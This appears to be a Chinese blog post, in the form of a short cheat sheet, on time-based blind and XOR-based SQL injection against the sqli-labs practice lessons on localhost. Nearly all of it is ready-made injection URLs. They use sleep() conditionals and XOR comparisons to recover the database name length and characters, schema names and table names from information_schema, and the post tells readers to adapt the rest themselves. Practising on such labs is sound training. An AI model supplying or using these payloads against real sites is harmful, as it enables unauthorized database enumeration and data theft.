zoukankan      html  css  js  c++  java
  • 时间盲注&异或注入

    if语句结构
    if(条件(),真(),假())
    if(length(database())>10,sleep(3),1)
     
    时间注入
    库名长度:
    http://localhost/sqli/Less-2/?id=1 and if(length(database())>8,sleep(3),1)--+
     
    其他库长度:
    http://localhost/sqli/Less-2/?id=1 and if(length((select schema_name from information_schema.schemata limit 0,1))=6,sleep(3),1)--+
     
    求数据库名字符:
    http://localhost/sqli/Less-2/?id=1 and if(ascii(substr(database(),1,1))>32,sleep(3),1)--+
     
    表长度:
    http://localhost/sqli/Less-2/?id=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6,sleep(3),1)--+
     
    剩下自行修改
     
    异或 Xor
    1'^(ascii(substr(database(),1,1))>32) --+
     
    异或注入
    库名长度:
    http://localhost/sqli/Less-8/?id=1'^(length(database())>8) --+
     
    其他库长度:
    http://localhost/sqli/Less-2/?id=1'^(length((select schema_name from information_schema.schemata limit 0,1))=6)--+
     
    求数据库名字符:
    http://localhost/sqli/Less-8/?id=1'^(ascii(substr(database(),1,1))>32) --+
     
    表长度:
    http://localhost/sqli/Less-8/?id=1'^(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6) --+
     
    剩下自行修改

    如内容有误,欢迎评论区提出建议与意见。
  • 相关阅读:
    shell 环境变量
    websphere 进程
    shell 安装使用VIM
    shell seq 用法
    shell 变量自增
    WebService学习笔记系列(二)
    WebService学习笔记系列(一)
    类加载器及其委托机制的深入分析
    Java工具类:给程序增加版权信息
    QQ互联API接口失效,第三方网站的死穴
  • 原文地址:https://www.cnblogs.com/Tzsblog/p/14200585.html
Copyright © 2011-2022 走看看